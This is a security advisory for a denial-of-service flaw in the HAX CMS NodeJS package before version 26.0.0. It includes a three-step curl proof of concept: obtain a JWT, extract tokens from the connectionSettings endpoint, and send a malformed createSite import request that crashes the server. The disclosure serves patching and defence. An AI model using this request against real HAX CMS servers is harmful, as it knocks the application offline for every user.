Medium

HAX CMS: Denial of Service using Malicious Import Request

  • Disclosed: 19.05.2026
  • Updated: 11.10.2026 10:22

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.

Details

The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.

The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).

As a result:

  • the request reaches privileged code inside createSite
  • the server hits the remote file handling path
  • the process crashes before downloadAndSaveFile() performs the outbound request
  • no imported file is written into the site directory

Affected Resources

  • src/routes/createSite.js:176
  • src/lib/HAXCMSFile.js:25
  • system/api/createSite

PoC

  1. Obtain a JWT by logging in with valid credentials.
bash
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
  1. Extract the required tokens from the connectionSettings endpoint.
bash
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
  1. Send the malformed request to crash the server.
bash
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
  -H 'Content-Type: application/json' \
  -d "{
    \"token\": \"$ROOT_TOKEN\",
    \"site\": { \"name\": \"dos-poc\" },
    \"theme\": {},
    \"build\": {
      \"structure\": \"import\",
      \"type\": \"import\",
      \"items\": [],
      \"files\": {
        \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
      }
    }
  }"
<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />

The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />

Impact

An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @haxtheweb/haxcms-nodejs < 26.0.0 26.0.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-20, CWE-476
Platform
npm
Package
@haxtheweb/haxcms-nodejs
Disclosed
19.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9r33-xhw8-4qqp - CC BY 4.0

Vulnerability history: @haxtheweb/haxcms-nodejs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (16) in the archive
Total entries
16
First → latest
06.2025 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 10
  • Medium 4

Disclosures per year

  1. 2025: 8
  2. 2026: 8
Severity:
  1. HAX CMS: Denial of Service using Malicious Import Request this entry
    Medium · 6.5 CVE-2026-46357 < 26.0.0 26.0.0
  2. High CVE-2026-46511 < 26.0.0 26.0.0
  3. Critical CVE-2026-46395 < 26.0.0 26.0.0
  4. High CVE-2026-46393 < 26.0.0 26.0.0
  5. High · 8.0 CVE-2026-22704 >= 11.0.6, < 25.0.0 25.0.0
  6. High · 8.3 CVE-2025-54378 < 11.0.14 11.0.14
  7. High · 8.5 CVE-2025-49141 < 11.0.3 11.0.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.